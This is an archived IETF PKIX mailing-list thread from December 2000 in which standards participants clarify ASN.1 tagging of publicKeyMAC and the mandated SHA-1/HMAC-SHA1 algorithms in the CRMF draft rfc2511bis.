Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21) id <W5KZL05K>; Fri, 1 Dec 2000 15:38:17 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EC4@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>, "'Ari Kermaier'" <arik@phaos.com>
Cc: ietf-pkix@imc.org
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 15:38:02 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C05BD6.996FBDE0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05BD6.996FBDE0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Ari,

> ----------
> From: 	Ari Kermaier[SMTP:arik@phaos.com]
> Sent: 	Friday, December 01, 2000 2:35 PM
> To: 	Jacoby, Jeffrey; ietf-pkix@imc.org
> Subject: 	RE: draft-ietf-pkix-rfc2511bis-00
> 
> Jeff,
> 
> I understood this to mean that the PasswordBaseMac algorithm defined here 
> (and its attendant PMBParameter) can be be used in general to support any 
> appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated
> 
> for use within CMP/CRMF.
> 
> But that's just my opinion, I could be wrong. :-)
 
It's a great opinion, and you could be right...  :-)

Yes, this is what was intended.  Again, remember that "mandatory" in the
IETF sense simply means "must be supported for compliance and guaranteed
interoperability purposes".  You are never prohibited from supporting other
things as well and, in fact, using those other choices as your default
operational algorithms.

Carlisle.

> Ari
> 
> >Hi,
> >
> >Another thing that would be nice to clear up in
> >draft-ietf-pkix-rfc2511bis-00.txt
> >is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix
> C)
> >is
> >this:
> >
> >PBMParameter ::= SEQUENCE {
> >   salt                OCTET STRING,
> >   owf                 AlgorithmIdentifier,
> >   -- AlgId for a One-Way Function (SHA-1 recommended)
> >   iterationCount      INTEGER,
> >   -- number of times the OWF is applied
> >   mac                 AlgorithmIdentifier
> >   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],
> >} -- or HMAC [RFC2104, RFC2202])
> >
> >However, at the end of that very section, is this statement:
> >
> >   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
> >   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
> >
> >So why, in the comments, is SHA-1 "recommended", and numerous examples
> are
> >given for mac?
> >
> >Jeff
> >
> >-------------------------------------------------------------------------
> -
> >
> >
> >Jeff Jacoby         phone: (650) 295-7569
> >Sr. Developer       email: jjacoby@rsasecurity.com
> ><mailto:jjacoby@rsasecurity.com>
> >
> >RSA Security, SMDC
> >2755 Campus Drive, Suite 300
> >San Mateo, CA 94403
> >
> >
> >
> >
> >
> >
> >
> >-----Original Message-----
> >From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
> ><mailto:carlisle.adams@entrust.com> ]
> >Sent: Thursday, November 30, 2000 12:51 PM
> >To: 'Ari Kermaier'
> >Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
> >Subject: RE: draft-ietf-pkix-rfc2511bis-00
> >
> >
> >
> >Hi Ari,
> >
> >RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
> >section in 2510 discusses semantic interpretation).  Therefore,
> publicKeyMAC
> >is untagged.  I will try to remember to remove the tag from rfc2510bis as
> it
> >progresses.
> >
> >Thanks for noticing this!
> >
> >Carlisle.
> >
> >
> >         ----------
> >From:   Ari Kermaier[SMTP:arik@phaos.com]
> >Sent:   Thursday, November 30, 2000 2:20 PM
> >To:     ietf-pkix@imc.org
> >Subject:        RE: draft-ietf-pkix-rfc2511bis-00
> >
> >         A question of ASN.1 in CRMF:
> >
> >         draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:
> >
> >             POPOSigningKeyInput ::= SEQUENCE {
> >         authInfo            CHOICE {
> >             sender              [0] GeneralName,
> >             -- used only if an authenticated identity has been
> >             -- established for the sender (e.g., a DN from a
> >             -- previously-issued and currently-valid certificate)
> >             publicKeyMAC        PKMACValue },
> >             -- used if no authenticated GeneralName currently exists for
> >             -- the sender; publicKeyMAC contains a password-based MAC
> >             -- on the DER-encoded value of publicKey
> >         publicKey           SubjectPublicKeyInfo }  -- from CertTemplate
> >
> >         draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:
> >
> >               POPOSigningKeyInput ::= SEQUENCE {
> >           authInfo            CHOICE {
> >               sender              [0] GeneralName,
> >               -- from PKIHeader (used only if an authenticated identity
> >               -- has been established for the sender (e.g., a DN from a
> >               -- previously-issued and currently-valid certificate))
> >               publicKeyMAC        [1] PKMACValue
> >               -- used if no authenticated GeneralName currently exists
> for
> >               -- the sender; publicKeyMAC contains a password-based MAC
> >               -- (using the protectionAlg AlgId from PKIHeader) on the
> >               -- DER-encoded value of publicKey
> >           },
> >           publicKey           SubjectPublicKeyInfo    -- from
> CertTemplate
> >       }
> >
> >         So -- is the publicKeyMAC choice tagged or not?
> >
> >         Ari Kermaier
> 

------_=_NextPart_001_01C05BD6.996FBDE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: draft-ietf-pkix-rfc2511bis-00</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Ari,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Ari =
Kermaier[SMTP:arik@phaos.com]</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Friday, December 01, 2000 2:35 =
PM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans Serif">Jacoby, =
Jeffrey; ietf-pkix@imc.org</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RE: draft-ietf-pkix-rfc2511bis-00</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Jeff,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I understood this to mean that the =
PasswordBaseMac algorithm defined here </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(and its attendant PMBParameter) can =
be be used in general to support any </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">appropriate OWF and/or MAC algorithm, =
but SHA-1 and HMAC-SHA1 are mandated </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">for use within CMP/CRMF.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">But that's just my opinion, I could be =
wrong. :-)</FONT>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">It's a =
great opinion, and you could be right...&nbsp; :-)</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Yes, this =
is what was intended.&nbsp; Again, remember that &quot;mandatory&quot; =
in the IETF sense simply means &quot;must be supported for compliance =
and guaranteed interoperability purposes&quot;.&nbsp; You are never =
prohibited from supporting other things as well and, in fact, using =
those other choices as your default operational algorithms.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Ari</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt;Hi,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Another thing that would be nice =
to clear up in</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;draft-ietf-pkix-rfc2511bis-00.txt</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is the comments on =
PBMParameter.&nbsp; In section 4.4.1 (and also in Appendix C)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;this:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;PBMParameter ::=3D SEQUENCE =
{</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
salt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp; OCTET STRING,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
owf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; AlgorithmIdentifier,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- AlgId for a =
One-Way Function (SHA-1 recommended)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
iterationCount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INTEGER,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- number of times =
the OWF is applied</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; =
mac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; AlgorithmIdentifier</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; -- the MAC AlgId =
(e.g., DES-MAC, Triple-DES-MAC [PKCS11],</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;} -- or HMAC [RFC2104, =
RFC2202])</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;However, at the end of that very =
section, is this statement:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; The =
AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&nbsp;&nbsp; for mac SHALL be =
HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;So why, in the comments, is SHA-1 =
&quot;recommended&quot;, and numerous examples are</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;given for mac?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Jeff</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;-----------------------------------------------------=
---------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Jeff =
Jacoby&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; phone: (650) =
295-7569</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sr. =
Developer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; email: =
jjacoby@rsasecurity.com</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&lt;</FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:jjacoby@rsasecurity.com">mailto:jjacoby@rsasecurity.com</=
A></FONT></U><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;RSA Security, SMDC</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;2755 Campus Drive, Suite =
300</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;San Mateo, CA 94403</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;From: Carlisle Adams [</FONT><U> =
<FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:carlisle.adams@entrust.com">mailto:carlisle.adams@entrust=
.com</A></FONT></U>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;&lt;</FONT><U><FONT =
COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:carlisle.adams@entrust.com">mailto:carlisle.adams@entrust=
.com</A></FONT></U><FONT SIZE=3D2 FACE=3D"Arial">&gt; ]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sent: Thursday, November 30, 2000 =
12:51 PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;To: 'Ari Kermaier'</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Cc: ietf-pkix@imc.org =
&lt;</FONT><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"mailto:ietf-pkix@imc.org">mailto:ietf-pkix@imc.org</A></FONT></U=
><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Subject: RE: =
draft-ietf-pkix-rfc2511bis-00</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Hi Ari,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;RFC 2511 (and therefore =
rfc2511bis-00.txt) has the definitive syntax (the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;section in 2510 discusses =
semantic interpretation).&nbsp; Therefore, publicKeyMAC</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;is untagged.&nbsp; I will try to =
remember to remove the tag from rfc2510bis as it</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;progresses.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Thanks for noticing this!</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Carlisle.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
----------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;From:&nbsp;&nbsp; Ari =
Kermaier[SMTP:arik@phaos.com]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;Sent:&nbsp;&nbsp; Thursday, =
November 30, 2000 2:20 PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;To:&nbsp;&nbsp;&nbsp;&nbsp; =
ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
RE: draft-ietf-pkix-rfc2511bis-00</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A =
question of ASN.1 in CRMF:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
draft-ietf-pkix-rfc2511bis-00 Section 4.4 has:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; POPOSigningKeyInput ::=3D SEQUENCE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
authInfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; CHOICE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; =
sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; [0] GeneralName,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- used only if an authenticated identity has =
been</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- established for the sender (e.g., a DN from =
a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- previously-issued and currently-valid =
certificate)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; =
publicKeyMAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PKMACValue =
},</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- used if no authenticated GeneralName currently =
exists for</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- the sender; publicKeyMAC contains a =
password-based MAC</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; -- on the DER-encoded value of publicKey</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
publicKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SubjectPublicKeyInfo }&nbsp; -- from CertTemplate</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; POPOSigningKeyInput ::=3D SEQUENCE =
{</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; =
authInfo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; CHOICE {</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
sender&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp; [0] GeneralName,</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- from PKIHeader (used only if an =
authenticated identity</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- has been established for the sender =
(e.g., a DN from a</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- previously-issued and =
currently-valid certificate))</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
publicKeyMAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [1] =
PKMACValue</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- used if no authenticated GeneralName =
currently exists for</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- the sender; publicKeyMAC contains a =
password-based MAC</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- (using the protectionAlg AlgId from =
PKIHeader) on the</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -- DER-encoded value of =
publicKey</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; },</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp; =
publicKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
SubjectPublicKeyInfo&nbsp;&nbsp;&nbsp; -- from CertTemplate</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So =
-- is the publicKeyMAC choice tagged or not?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt;</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ari =
Kermaier</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01C05BD6.996FBDE0--


Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA20021 for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 11:26:51 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id SAA44498; Fri, 1 Dec 2000 18:20:07 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001201142944.00bfbec0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 01 Dec 2000 14:35:17 -0500
To: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>, ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
In-Reply-To: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Jeff,

I understood this to mean that the PasswordBaseMac algorithm defined here 
(and its attendant PMBParameter) can be be used in general to support any 
appropriate OWF and/or MAC algorithm, but SHA-1 and HMAC-SHA1 are mandated 
for use within CMP/CRMF.

But that's just my opinion, I could be wrong. :-)

Ari

>Hi,
>
>Another thing that would be nice to clear up in
>draft-ietf-pkix-rfc2511bis-00.txt
>is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)
>is
>this:
>
>PBMParameter ::= SEQUENCE {
>   salt                OCTET STRING,
>   owf                 AlgorithmIdentifier,
>   -- AlgId for a One-Way Function (SHA-1 recommended)
>   iterationCount      INTEGER,
>   -- number of times the OWF is applied
>   mac                 AlgorithmIdentifier
>   -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],
>} -- or HMAC [RFC2104, RFC2202])
>
>However, at the end of that very section, is this statement:
>
>   The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
>   for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
>
>So why, in the comments, is SHA-1 "recommended", and numerous examples are
>given for mac?
>
>Jeff
>
>--------------------------------------------------------------------------
>
>
>Jeff Jacoby         phone: (650) 295-7569
>Sr. Developer       email: jjacoby@rsasecurity.com
><mailto:jjacoby@rsasecurity.com>
>
>RSA Security, SMDC
>2755 Campus Drive, Suite 300
>San Mateo, CA 94403
>
>
>
>
>
>
>
>-----Original Message-----
>From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
><mailto:carlisle.adams@entrust.com> ]
>Sent: Thursday, November 30, 2000 12:51 PM
>To: 'Ari Kermaier'
>Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org>
